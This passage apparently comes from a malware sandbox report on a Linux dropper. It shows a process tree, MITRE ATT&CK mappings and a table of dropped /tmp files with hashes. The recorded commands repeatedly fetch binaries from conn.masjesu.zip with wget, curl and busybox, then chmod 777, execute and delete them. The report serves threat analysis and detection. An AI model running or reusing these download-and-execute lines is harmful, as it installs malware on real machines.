  PID:974
- /bin/chmod
  chmod 777 ry3yyAWA8gvHfOPrtHme4EUCnkN84ghJgl
  2⤵
  - File and Directory Permissions Modification
  PID:975
- /tmp/ry3yyAWA8gvHfOPrtHme4EUCnkN84ghJgl
  ./ry3yyAWA8gvHfOPrtHme4EUCnkN84ghJgl
  2⤵
  - Executes dropped EXE
  PID:976
- /bin/rm
  rm ry3yyAWA8gvHfOPrtHme4EUCnkN84ghJgl
  2⤵
  PID:977
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/wvactqSpBbg9GIMT8uWrCz3JwotirOmZ2L
  2⤵
  PID:978
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/wvactqSpBbg9GIMT8uWrCz3JwotirOmZ2L
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:979
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/wvactqSpBbg9GIMT8uWrCz3JwotirOmZ2L
  2⤵
  - System Network Configuration Discovery
  PID:981
- /bin/chmod
  chmod 777 wvactqSpBbg9GIMT8uWrCz3JwotirOmZ2L
  2⤵
  - File and Directory Permissions Modification
  PID:982
- /tmp/wvactqSpBbg9GIMT8uWrCz3JwotirOmZ2L
  ./wvactqSpBbg9GIMT8uWrCz3JwotirOmZ2L
  2⤵
  - Executes dropped EXE
  PID:983
- /bin/rm
  rm wvactqSpBbg9GIMT8uWrCz3JwotirOmZ2L
  2⤵
  PID:984
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/HqHKMKAmA4uMtLnE4BOyamhMeab9NPhOKY
  2⤵
  - System Network Configuration Discovery
  PID:985
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/HqHKMKAmA4uMtLnE4BOyamhMeab9NPhOKY
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:986
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/HqHKMKAmA4uMtLnE4BOyamhMeab9NPhOKY
  2⤵
  - System Network Configuration Discovery
  PID:988
- /bin/chmod
  chmod 777 HqHKMKAmA4uMtLnE4BOyamhMeab9NPhOKY
  2⤵
  - File and Directory Permissions Modification
  PID:989
- /tmp/HqHKMKAmA4uMtLnE4BOyamhMeab9NPhOKY
  ./HqHKMKAmA4uMtLnE4BOyamhMeab9NPhOKY
  2⤵
  - Executes dropped EXE
  PID:990
- /bin/rm
  rm HqHKMKAmA4uMtLnE4BOyamhMeab9NPhOKY
  2⤵
  PID:991
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/OtEBOsIkHVaFslV07uraYGJPEGeeI3ORzz
  2⤵
  PID:992
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/OtEBOsIkHVaFslV07uraYGJPEGeeI3ORzz
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:993
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/OtEBOsIkHVaFslV07uraYGJPEGeeI3ORzz
  2⤵
  - System Network Configuration Discovery
  PID:995
- /bin/chmod
  chmod 777 OtEBOsIkHVaFslV07uraYGJPEGeeI3ORzz
  2⤵
  - File and Directory Permissions Modification
  PID:996
- /tmp/OtEBOsIkHVaFslV07uraYGJPEGeeI3ORzz
  ./OtEBOsIkHVaFslV07uraYGJPEGeeI3ORzz
  2⤵
  - Executes dropped EXE
  PID:997
- /bin/rm
  rm OtEBOsIkHVaFslV07uraYGJPEGeeI3ORzz
  2⤵
  PID:998
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/hjR11PMunS5hZ1XWj648wFOlC31rDlU9Oz
  2⤵
  PID:999
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/hjR11PMunS5hZ1XWj648wFOlC31rDlU9Oz
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1000
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/hjR11PMunS5hZ1XWj648wFOlC31rDlU9Oz
  2⤵
  - System Network Configuration Discovery
  PID:1002
- /bin/chmod
  chmod 777 hjR11PMunS5hZ1XWj648wFOlC31rDlU9Oz
  2⤵
  - File and Directory Permissions Modification
  PID:1003
- /tmp/hjR11PMunS5hZ1XWj648wFOlC31rDlU9Oz
  ./hjR11PMunS5hZ1XWj648wFOlC31rDlU9Oz
  2⤵
  - Executes dropped EXE
  PID:1004
- /bin/rm
  rm hjR11PMunS5hZ1XWj648wFOlC31rDlU9Oz
  2⤵
  PID:1005
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/1bO1ve490OiF67f6bvfPDAyAAyX0XW0Obk
  2⤵
  PID:1006
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/1bO1ve490OiF67f6bvfPDAyAAyX0XW0Obk
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1007
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/1bO1ve490OiF67f6bvfPDAyAAyX0XW0Obk
  2⤵
  - System Network Configuration Discovery
  PID:1009
- /bin/chmod
  chmod 777 1bO1ve490OiF67f6bvfPDAyAAyX0XW0Obk
  2⤵
  - File and Directory Permissions Modification
  PID:1010
- /tmp/1bO1ve490OiF67f6bvfPDAyAAyX0XW0Obk
  ./1bO1ve490OiF67f6bvfPDAyAAyX0XW0Obk
  2⤵
  - Executes dropped EXE
  PID:1011
- /bin/rm
  rm 1bO1ve490OiF67f6bvfPDAyAAyX0XW0Obk
  2⤵
  PID:1012
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/abVgEnAsepPZTZYb4Ffrc4cHEmdHuO6JvO
  2⤵
  - System Network Configuration Discovery
  PID:1013
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/abVgEnAsepPZTZYb4Ffrc4cHEmdHuO6JvO
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1014
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/abVgEnAsepPZTZYb4Ffrc4cHEmdHuO6JvO
  2⤵
  - System Network Configuration Discovery
  PID:1016
- /bin/chmod
  chmod 777 abVgEnAsepPZTZYb4Ffrc4cHEmdHuO6JvO
  2⤵
  - File and Directory Permissions Modification
  PID:1017
- /tmp/abVgEnAsepPZTZYb4Ffrc4cHEmdHuO6JvO
  ./abVgEnAsepPZTZYb4Ffrc4cHEmdHuO6JvO
  2⤵
  - Executes dropped EXE
  PID:1018
- /bin/rm
  rm abVgEnAsepPZTZYb4Ffrc4cHEmdHuO6JvO
  2⤵
  PID:1019

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

2kfiqTAb9TwvJ3cRKmJyZl7nvGwPZLNvQ2

Path /tmp/2kfiqTAb9TwvJ3cRKmJyZl7nvGwPZLNvQ2
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/2kfiqTAb9TwvJ3cRKmJyZl7nvGwPZLNvQ2	751	2kfiqTAb9TwvJ3cRKmJyZl7nvGwPZLNvQ2
/tmp/ZAkQFqtMI0ja7Ul9xjKgN2FlfKT0EtiX5H	758	ZAkQFqtMI0ja7Ul9xjKgN2FlfKT0EtiX5H
/tmp/tchFQlm1YV1PDhHe7CsesQpdiOV9dOLUxL	810	tchFQlm1YV1PDhHe7CsesQpdiOV9dOLUxL
/tmp/d25rz2N8B9Phz4gnbtMtH62uAo0wvfrbOB	817	d25rz2N8B9Phz4gnbtMtH62uAo0wvfrbOB
/tmp/ry3yyAWA8gvHfOPrtHme4EUCnkN84ghJgl	854	ry3yyAWA8gvHfOPrtHme4EUCnkN84ghJgl
/tmp/wvactqSpBbg9GIMT8uWrCz3JwotirOmZ2L	861	wvactqSpBbg9GIMT8uWrCz3JwotirOmZ2L
/tmp/HqHKMKAmA4uMtLnE4BOyamhMeab9NPhOKY	871	HqHKMKAmA4uMtLnE4BOyamhMeab9NPhOKY
/tmp/MDzRcEm1DELsEDvs5fhYrMXim0mGi8gGt3	878	MDzRcEm1DELsEDvs5fhYrMXim0mGi8gGt3
/tmp/iJ6TFHOYD8tcefIuqH1RRc0iHuSx8KZ2WB	885	iJ6TFHOYD8tcefIuqH1RRc0iHuSx8KZ2WB
/tmp/OtEBOsIkHVaFslV07uraYGJPEGeeI3ORzz	892	OtEBOsIkHVaFslV07uraYGJPEGeeI3ORzz
/tmp/hjR11PMunS5hZ1XWj648wFOlC31rDlU9Oz	899	hjR11PMunS5hZ1XWj648wFOlC31rDlU9Oz
/tmp/1bO1ve490OiF67f6bvfPDAyAAyX0XW0Obk	906	1bO1ve490OiF67f6bvfPDAyAAyX0XW0Obk
/tmp/abVgEnAsepPZTZYb4Ffrc4cHEmdHuO6JvO	913	abVgEnAsepPZTZYb4Ffrc4cHEmdHuO6JvO
/tmp/MCLd4GeJHdSpliFlt9tCayCZbpTkDdidkF	920	MCLd4GeJHdSpliFlt9tCayCZbpTkDdidkF
/tmp/MCLd4GeJHdSpliFlt9tCayCZbpTkDdidkF	927	MCLd4GeJHdSpliFlt9tCayCZbpTkDdidkF
/tmp/2kfiqTAb9TwvJ3cRKmJyZl7nvGwPZLNvQ2	934	2kfiqTAb9TwvJ3cRKmJyZl7nvGwPZLNvQ2
/tmp/MDzRcEm1DELsEDvs5fhYrMXim0mGi8gGt3	941	MDzRcEm1DELsEDvs5fhYrMXim0mGi8gGt3
/tmp/iJ6TFHOYD8tcefIuqH1RRc0iHuSx8KZ2WB	948	iJ6TFHOYD8tcefIuqH1RRc0iHuSx8KZ2WB
/tmp/ZAkQFqtMI0ja7Ul9xjKgN2FlfKT0EtiX5H	955	ZAkQFqtMI0ja7Ul9xjKgN2FlfKT0EtiX5H
/tmp/tchFQlm1YV1PDhHe7CsesQpdiOV9dOLUxL	962	tchFQlm1YV1PDhHe7CsesQpdiOV9dOLUxL
/tmp/d25rz2N8B9Phz4gnbtMtH62uAo0wvfrbOB	969	d25rz2N8B9Phz4gnbtMtH62uAo0wvfrbOB
/tmp/ry3yyAWA8gvHfOPrtHme4EUCnkN84ghJgl	976	ry3yyAWA8gvHfOPrtHme4EUCnkN84ghJgl
/tmp/wvactqSpBbg9GIMT8uWrCz3JwotirOmZ2L	983	wvactqSpBbg9GIMT8uWrCz3JwotirOmZ2L
/tmp/HqHKMKAmA4uMtLnE4BOyamhMeab9NPhOKY	990	HqHKMKAmA4uMtLnE4BOyamhMeab9NPhOKY
/tmp/OtEBOsIkHVaFslV07uraYGJPEGeeI3ORzz	997	OtEBOsIkHVaFslV07uraYGJPEGeeI3ORzz
/tmp/hjR11PMunS5hZ1XWj648wFOlC31rDlU9Oz	1004	hjR11PMunS5hZ1XWj648wFOlC31rDlU9Oz
/tmp/1bO1ve490OiF67f6bvfPDAyAAyX0XW0Obk	1011	1bO1ve490OiF67f6bvfPDAyAAyX0XW0Obk
/tmp/abVgEnAsepPZTZYb4Ffrc4cHEmdHuO6JvO	1018	abVgEnAsepPZTZYb4Ffrc4cHEmdHuO6JvO